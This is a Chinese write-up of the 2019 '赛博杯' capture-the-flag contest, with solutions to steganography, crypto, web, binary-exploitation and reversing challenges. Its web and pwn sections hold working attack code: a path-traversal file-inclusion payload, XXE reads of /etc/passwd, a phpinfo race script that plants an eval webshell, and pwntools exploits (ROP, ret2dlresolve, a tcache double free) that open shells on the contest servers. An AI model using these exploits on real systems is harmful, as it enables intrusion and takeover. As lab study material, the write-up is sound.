赛博杯2019 Write Up
前言
杭电赛博协会出得题,感觉质量还是不错的,难易兼备。以下是此次比赛的Write Up。
MISC
Sign in
扫条形码得到flag。
No Word
snow加密,将文件放入010editor看他的十六进制形式,
0D0A是换行,剩下的将20转0,将09转1,得到的二进制数据,转字符串即可得到flag。
基础社工
题目介绍:大家都用着我们的数字杭电(i.hdu.edu.cn)但是对于其注册者却啥也不知道,所以小y打算去看看注册数字杭电的创始人的邮箱
flag形式为:flag{你找到的电子邮箱}
百度一个IP反查询工具,Whois查询,看看这个IP的备案,
得到flag;
The world
下载得到一张图,猜测是隐写,直接foremost分解,得到四张图,
第一张是可见的,应该没用,剩下来的,按顺序看。
第一份压缩包是加密压缩包,看了一下不是伪加密,于是放入工具进行简单爆破,得到密码abc123,得到文件:
d2abd3fb9d4c93fb064abf81f5fab84
新手村钥匙
第二份文件是一张图,猜测是LSB隐写,密码为上述字符串,测试后发现不是。继续考虑,可能是outguess加密,
outguess -r flag.jpg -t secret.txt -k d2abd3fb9d4c93fb064abf81f5fab84
得到文件
95cca6c50e48e86c468ee329ddc11047
最后一关大门的钥匙
第三份文件是一个mp3文件,猜测是MP3隐写,用MP3Stego解密,即可得到flag
Different_P
hint:PIL是个好东西
下载得到两份一样的文件,试了试盲水印,发现没有用。使用Beyond Compare 4结合后发现
字符这里有点东西。根据题目提示,猜测要将两张图片的所有元素点的灰度拿来作比较,
构造脚本如下
# -*- coding:utf-8 -*-
import base64
from PIL import Image
im = Image.open("f1.png").convert("L")
im2 = Image.open("f2.png").convert("L")
width=im.size[0] #图片宽
height=im.size[1] #图片高
dd=''
flag1=''
for x in range(0,width):
for y in range(0,height):
data = im .getpixel((x,y))
data2 = im2.getpixel((x,y))
if(data!=255 or data2!=255):
dd=dd+str(data-data2)
for i in range (int(len(dd)/8)):
word = dd[i*8:(i+1)*8]
word = int(word,2)
flag1 +=chr(int(word))
missing_padding = 4 - len(flag1)%4
if missing_padding:
flag1+= '='*missing_padding
flag = base64.b64decode(flag1)
pic = open('flag.png','wb')
pic.write(flag)
pic.close()
得到一张图片,但是打不开,看他的十六进制数据发现文件头被改了。改回来后得到一张二维码,扫码得到flag
Crypto
easy_RSA
题目文件是public.pem 和 flag.enc,先用openssl打开.pem文件
openssl rsa -pubin -text -modulus -in public.pem
得到
其中。N=>Modulus,e=>Exponent
没有更多信息与算法了,猜测这个大数可以直接分解,上yafu。随后用rsatool生成.pem文件,再用openssl解密flag.enc,得到字符串
}Y!s04tEP{ygraCl_f
栅栏加方向即可得到flag,
rsatool和openssl的使用参考
https://www.cnblogs.com/Byqiyou/p/9410885.html
川流不息
题目加密脚本和密文
加密脚本
from parameters import a
def stream(init,size):
if len(init) < 5:
return init
result = init[:5]
for index in range(size-5):
mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])
result.append(mid)
return result
if __name__ == '__main__':
with open('flag','r') as f:
flag = f.readline().strip()
plain = ''.join(bin(ord(i))[2:].rjust(8,'0') for i in flag)
key = stream([1,0,0,1,1,0,1,0,0,1],len(plain))
cipher = ''
for i in range(len(plain)):
cipher += str(int(plain[i]) ^ key[i])
print cipher
首先,根据flag前五个字符“flag{”和密文,异或可以得到key的前四十个值,然后爆破得到a
import base64
def stream(init,size):
key=[1,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,1,1,1,0,0,1,1,0,1,0,0]
for i in range(2):
for j in range(2):
for k in range(2):
for p in range(2):
for q in range(2):
a=[i,j,k,p,q]
result = init[:5]
for index in range(size-5):
mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])
result.append(mid)
if result==key:
print(a)
break
if __name__ == '__main__':
flag = "flag{"
plain = ''.join(bin(ord(i))[2:].rjust(8,'0') for i in flag)
stream([1,0,0,1,1,0,1,0,0,1],len(plain))
得到a=[1, 0, 0, 1, 0]
然后根据加密脚本,获得key。然后key与密文异或得到flag
def stream(init,size):
if len(init) < 5:
return init
result = init[:5]
for index in range(size-5):
mid = (result[index] * a[0]) ^ (result[index + 1] * a[1]) ^ (result[index + 2] * a[2]) ^ (result[index + 3] * a[3]) ^ (result[index+4] * a[4])
result.append(mid)
return result
if __name__ == '__main__':
a=[1, 0, 0, 1, 0]
cipher = '111111000010111011011010011110000100111111010110000000100100110000001100011010111000000100100011100100010111110010101000100100011100000101011001111011101001101000111011000010000000011010000111111000111101011110111010'
flag=''
key = stream([1,0,0,1,1,0,1,0,0,1],len(cipher))
for i in range(len(cipher)):
flag += str(int(cipher[i]) ^ key[i])
for i in range(0,len(flag),8):
print(chr(int(flag[i:i+8],2)),end="")
WEB
base_1
输入
http://45.76.51.219:8050/?base=bXlmbGFn
得到回显
不能输入bXlmbGFn!
但经过测试,发现被加密后的base64字符串解密时似乎会舍弃密文末尾多余的字符(取余4后多出来的字符),于是这题就不难绕过了,
最终payload:
http://45.76.51.219:8050/?base=bXlmbGFn1
得到flag
truncation
进入网站,f12,发现注释:
进入sorce.php发现源码:
<?php
class kind
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","aa"=>"aa.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& kind::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<h>Look carefully and you will find the answer.</h><br>";
}
?>
先进入click.php,发现:flag is not here, and flag in flag.php 得到了flag的位置,那么应该是考任意文件包含漏洞
审计代码得到:
要设定page的值,且内容要在whiteList中
mb_substr($page,0,mb_strpos($page.'?','?'))
表示截取page中?之前的内容 接着对$page进行一次URLdecode之后,再判断一次。最后file的值为一个字符串 且 checkfile返回真值 就能包含文件file
所以最终payload:
http://47.110.227.208:8003/index.php?file=source.php?../../flag.php
得到一个猜密码的界面
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>
需要post一个赋值了的password和一个和服务器时间的值相同的pwd,脚本如下
import requests
import time
from bs4 import BeautifulSoup #html解析器
url="http://47.110.227.208:8003/index.php?file=source.php?../../flag.php" #目标url
session=requests.session() #获取一个session对象
response=session.get(url)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
formData={"password":"123","pwd":"int(time.time())"}#构建一个formData,用于传我们的
re2=session.post(url,data=formData)#post过去
if("猜测错误" not in re2.text):
print(re2.text)
发现无法获得flag,后来发现pwd赋值为空可以获得flag,可能是$_SESSION['pwd']=time();没有执行成功。
Simple XXE
首先,了解一下XXE,(xml外部实体注入漏洞)
参考文章:https://www.cnblogs.com/cui0x01/p/8823690.html
(然后跟这个文章走2333)
首先f12看到dom.php存在XXE,于是构造XML文本先验证漏洞,
这一步骤将XML内容发送给服务器,当服务器将XML解析完成后,就会依照解析的内容工作,这段XML中SYSTEM "file:///etc/passwd"部分引用了目标服务器(即172.16.12.2)下的/etc/passwd文件,服务器解析XML内容后,会将这一文件内容存入&xxe中,然后将数据返回给恶意访问者。
执行完成上面的操作后,点击GO,右侧将出现此数据包的返回结果,内容如下,返回的数据为服务器上/etc/passwd文件的内容
漏洞验证成功,
于是修改XML中的外部实体为其他协议,根据提示看hint,php://filter/read=convert.base64-encode/resource=hint.php, 在Proxy选项卡的原数据包中粘贴XML内容,点击FORWARD放行请求,返回的结果
解码后得到目录,
于是
解码得到flag
inclusion
进入页面,f12,发现注释 phpinfo.php
然后根据名字,猜测是php文件包含漏洞(利用phpinfo)
参考这篇文章(又是跟着文章走)https://www.cnblogs.com/xiaoqiyue/p/10158702.html
访问http://47.110.227.208:8001/lfi.php?file=/etc/passwd 验证漏洞,
成功。
文章如是说:
先讲一下利用phpinfo上传文件,然后在文件包含的原理:
参考链接:https://github.com/vulhub/vulhub/tree/master/php/inclusion
在给PHP发送POST数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符]),这个临时文件在请求结束后就会被删除,同时,phpinfo页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和phpinfo页面通常是两个页面,理论上我们需要先发送数据包给phpinfo页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。
因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。
但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:
1)发送包含了webshell的上传数据包给phpinfo,这个数据包的header,get等位置一定要塞满垃圾数据;
2)phpinfo这时会将所有数据都打印出来,其中的垃圾数据会将phpinfo撑得非常大
3)PHP默认缓冲区大小是4096,即PHP每次返回4096个字节给socket连接
4)所以,我们直接操作原生socket,每次读取4096个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
5)此时,第一个数据包的socket连接其实还没有结束,但是PHP还在继续每次输出4096个字节,所以临时文件还未被删除
6)我们可以利用这个时间差,成功包含临时文件,最后getshell
利用脚本
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] => ")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] => ")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
运行脚本
(表示后来没有上传成功,但似乎有大佬先上传成功了,所以后面的步骤我也能继续做)
先验证是否上传成功
嗯,的确有大佬上传成功了,连文件名也一样,好的,谢谢了。getsheell
于是
flag应该在那个奇怪名字的文件里吧
果然,
拿到flag
这题的关键还是上传有大量垃圾数据的恶意文件吧。(所以哪位大佬上传成功了)
PWN
hardpwn
导入IDA后,发现需要覆盖运行参数(即argv),因为栈溢出很长且可以覆盖到该参数,所以可以考虑直接覆盖
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn1")
sh = 0
lib = 0
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn1")
else:
sh = remote(ip,port)
payload = '\x00' * 120 +"aaaa" + "\x00"
sh.send(payload)
sh.interactive()
if __name__ == "__main__":
pwn("47.110.227.208",10001,0)
stackpwn
导入IDA后,发现没有puts、write等,只有read且有溢出,那么这道题就是典型的考察ret2dlresolve,用ctf-wiki的脚本改一下就可以拿到shell了
利用roputils简化攻击
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
from pwn import remote #r = process('./pwn3')
r = remote("47.110.227.208",10003)
context.log_level = 'debug'
rop = ROP('./pwn3')
offset = 60
bss_base = 0x804a000 + 0x800
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
floatpwn
这题考察了确定浮点寄存器通过movss写入内存时的数值
方法:只能人工二分法一次一次去尝试,然后发现小数点后45位之前可以忽略不计,真正开始有意义的数值在小数点后45位开始。然后求出对应的n使得写回内存时是我想要的数值,从而构造ROP链。但是想构造ROP链之前需要实现无限写,所以输入size时,可以考虑输入负数,实现无符号整数溢出,从而无限写。因为控制写入数据位置的i变量位于栈空间底部,所以要使得写到i里的数据为10到12即可,因为可以考虑直接略过ebp,直接修改rip。
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn2")
sh = 0
lib = 0
def inputFloat(num):
sh.recv()
sh.send(num)
sh.recv()
sh.sendline()
def inputRop(num):
num = str(num)
num = num.rjust(45,"0")
num = num.ljust(0x62,"0")
inputFloat("0." + num)
inputFloat("0")
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./pwn2")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc6_2.27-3ubuntu1_amd64.so")
#puts 5879714 0x400640
#pop_rdi 5881041 0x4009f3
#__libc_start_main_got 8822026 0x601038
#main 5880847 0x400969
#start 5879938 0x4006E0
#call vul 5880867 0x400977
#vul 5880653 0x4008DE
#read 5879781 0x400670
#pop_rsi_r15_ret 5881038 0x4009f1
#read_got 8822014 0x601030
#binsh 8822106 0x601071
sh.recv()
sh.sendline("-1.9999")
for i in range(0,13):
inputFloat("111")
inputFloat("13")
inputFloat("13")
inputFloat("0." + "0" * 43 + "23")#0x11
inputFloat("0." + "0" * 43 + "23")#fake
#rip = 0x4009f3
#pop_rdi_ret
inputRop(5881041)
#__libc_start_main got
inputRop(8822026)
#puts_plt
inputRop(5879714)
#pop_rdi_ret
inputRop(5881041)
inputRop(0)
#pop_rsi_r15_ret
inputRop(5881038)
inputRop(8822106)
inputRop(0)
#read_plt
inputRop(5879781)
#pop_rdi_ret
inputRop(5881041)
inputRop(0)
#pop_rsi_r15_ret
inputRop(5881038)
inputRop(8822014)
inputRop(0)
#read_plt
inputRop(5879781)
#pop_rdi_ret
inputRop(5881041)
inputRop(8822106)
#read_plt
inputRop(5879781)
#input()
sh.recvuntil("plz input your float:")
sh.sendline("0")
sh.recvuntil("do you want to continue?(y/n)")
sh.send("n")
__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc = __libc_start_main - lib.symbols['__libc_start_main']
system = libc + lib.symbols['system']
binsh = libc + lib.search("/bin/sh\x00").next()
sh.sendline("/bin/sh\x00")
sleep(0.2)
sh.sendline(p64(system))
log.success("__libc_start_main: " + hex(__libc_start_main))
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
log.success("libc: " + hex(libc))
sh.interactive()
if __name__ == "__main__":
pwn("47.110.227.208",10002,0)
Babytcache
checksec 可以看到程序没有开PIE,同时bss中存放了_IO_2_1_stdout_的地址,并且libc2.27有double free,所以思路就很明确了.有了double free就可以malloc 2 everywhere,所以这样一的难点在于如何leak libc,通过double free,可以让fd指向_IO_2_1stdout,从而malloc 2 _IO_2_1stdout,从而修改write_base来leak libc,之后再double free去修改free_hook为system,去free一个/bin/sh就可以了
from pwn import *
libc=ELF('./libc.so')
sh=remote("47.110.227.208",10006)
def add(size,content):
sh.sendline('1')
sh.recvuntil('input your size:')
sh.sendline(str(size))
sh.recvuntil('input your message:')
sh.send(content)
sh.recvuntil('Done!\n')
def add2(size,content):
sh.sendline('1')
sh.recvuntil('input your size:')
sh.sendline(str(size))
sh.recvuntil('input your message:')
sh.send(content)
#sh.recvuntil('Done!\n')
def delete(index):
sh.sendline('2')
sh.recvuntil('input the index: ')
sh.sendline(str(index))
def main():
add(0x100,'a\n')
add(0x100,'a\n')
add(0x100,'a\n')
delete(0)
delete(0)
add(0x100,p64(0x0000000000602020)+'\n')
add(0x100,p64(0x0000000000602020)+'\n')
add(0x100,'\n')
add2(0x100,p64(0xfbad1880)+p64(0x0)*3+'\x20\n')
libc_base=u64(sh.recv(6)+'\x00\x00')-0x3eb780
print "libc_base -> " + hex(libc_base)
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
sh.recvuntil('Done!\n')
add(0x10,'/bin/sh\x00\n') # index 7
add(0x20,'\n') # index 8
delete(8)
delete(8)
add(0x20,p64(free_hook)+'\n')
add(0x20,p64(free_hook)+'\n')
add(0x20,p64(system)+'\n')
delete(7)
sh.interactive()
if __name__ == '__main__':
main()
codepwn
通过逆向可以发现程序将flag存入了内存中,并且我们可以选择flag对应的下标进行对比,可是4字节的shellcode有着限制,并且v5是call shellcode之后的返回值,那么就必须在shellcode中对rax进行赋值操作,可以观察到r9寄存器的大小是跟printf出来的字节数相关,那么就可以通过push r9,pop rax,ret,三个操作来对rax赋值,进而根据程序最后的判断来确认我们猜测的flag对应下标的那个字母是否正确,接下来就是爆破就完事了
from pwn import *
context.log_level='CRITICAL'
def flag_index(index):
sh.sendline(str(index))
def code(code):
sh.send(code)
def name(size,content):
sh.recvuntil('tell me your name size:\n')
sh.sendline(str(size))
sh.recvuntil('input your name:\n')
sh.sendline(content)
flag=open('./pwn4_flag','a+')
try:
for index in range(32):
for i in range(0x1,0x7f):
sh=remote('47.110.227.208',10004)
#sh=process('./pwn4')
sh.recvuntil('this is my gift for you, take it!\n')
flag_index(index)
sh.recvuntil('input your code:\n')
code('AQX\xC3')
padding='a'.ljust(i,'a')
name(0x100,padding)
sh.recvuntil('Hello are you ready? '+padding+'\n')
sh.sendline()
info = sh.recv()
if((info).find('bye!') != -1):
print chr(i+0x16)
flag.write(chr(i+0x16))
sh.close()
break
else:
sh.close()
except KeyboardInterrupt:
flag.close()
exit(0)
except:
flag.close()
sh.close()
RE
Secret
(emmm这一题偷懒了),
首先分析主函数
里面有两个check函数。进入checktime()函数,关键代码是这里,
*(&v5 + i) = rand();
if ( 14766 * v11 + 18242 * v10 + 4657 * v9 + 22453 * v8 + 7236 * v7 + 28554 * v6 + 25606 * v5 + 12289 * v12 == 12977737
&& 27429 * v11 + 8015 * v10 + 16511 * v9 + 17180 * v8 + 27141 * v7 + 31813 * v6 + 7412 * v5 + 18249 * v12 == 15081473
&& 2846 * v11 + 28353 * v10 + 19864 * v9 + 27377 * v8 + 9006 * v7 + 13657 * v6 + 19099 * v5 + 25835 * v12 == 13554960
&& 1078 * v11 + 5007 * v10 + 6568 * v9 + 23034 * v8 + 10150 * v7 + 22949 * v6 + 32646 * v5 + 15255 * v12 == 11284005
&& 8010 * v11 + 15430 * v10 + 6657 * v9 + 1009 * v8 + 25691 * v7 + 15960 * v6 + 19493 * v5 + 29491 * v12 == 10759932
&& 4605 * v11 + 14468 * v10 + 5017 * v9 + 12805 * v8 + 22973 * v7 + 30584 * v6 + 12620 * v5 + 32085 * v12 == 12085266
&& 7478 * v11 + 6524 * v10 + 25994 * v9 + 16215 * v8 + 12864 * v7 + 20574 * v6 + 8882 * v5 + 14794 * v12 == 11323393
&& 15263 * v11 + 8821 * v10 + 25489 * v9 + 9598 * v8 + 26847 * v7 + 5175 * v6 + 6515 * v5 + 27411 * v12 == 11677607 )
{
一共8位字符,猜测前5位为flag{然后解个方程(也可以直接遍历后三个字符的所有可能,找到符合判断条件的)
得到 flag{Th3
然后来到关键的check函数,看到这里,
while ( 1 )
{
for ( j = 0; !v12[j]; ++j )
;
if ( j >= v11 )
break;
v9 = 0;
while ( j < v11 )
{
v1 = (v9 << 8) + v12[j];
v12[j] = v1 / 58;
v9 = v1 % 58;
++j;
}
v2 = v5++;
s[v2] = v9;
}
再加上用来取值的table 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxy
意识到这是可能是个改变密码表的base58编码变形,于是偷懒,百度找了一个base58的编码解码脚本,改变密码表,
<?php
$encode = "fQcoNZxMvNxAVW7UJh5vQNyyuaphLAGo8g";
echo "\n".$encode;
$decode = base58_decode($encode);
echo "\n".$decode;
function base58_encode($string)
{
$alphabet = '123456789abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ';
$base = strlen($alphabet);
if (is_string($string) === false || !strlen($string)) {
return false;
}
$bytes = array_values(unpack('C*', $string));
$decimal = $bytes[0];
for ($i = 1, $l = count($bytes); $i < $l; ++$i) {
$decimal = bcmul($decimal, 256);
$decimal = bcadd($decimal, $bytes[$i]);
}
$output = '';
while ($decimal >= $base) {
$div = bcdiv($decimal, $base, 0);
$mod = bcmod($decimal, $base);
$output .= $alphabet[$mod];
$decimal = $div;
}
if ($decimal > 0) {
$output .= $alphabet[$decimal];
}
$output = strrev($output);
return (string) $output;
}
function base58_decode($base58)
{
$alphabet = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz';
$base = strlen($alphabet);
if (is_string($base58) === false || !strlen($base58)) {
return false;
}
$indexes = array_flip(str_split($alphabet));
$chars = str_split($base58);
foreach ($chars as $char) {
if (isset($indexes[$char]) === false) {
return false;
}
}
$decimal = $indexes[$chars[0]];
for ($i = 1, $l = count($chars); $i < $l; ++$i) {
$decimal = bcmul($decimal, $base);
$decimal = bcadd($decimal, $indexes[$chars[$i]]);
}
$output = '';
while ($decimal > 0) {
$byte = bcmod($decimal, 256);
$output = pack('C', $byte).$output;
$decimal = bcdiv($decimal, 256, 0);
}
return $output;
}
解码得到
sEcondBe5tTime1s_n0w}
flag到手
后来发现,拿这程序去运行,只要flag的后面一半,也能过,所以一开始其实是忽略了这个check time()函数。。。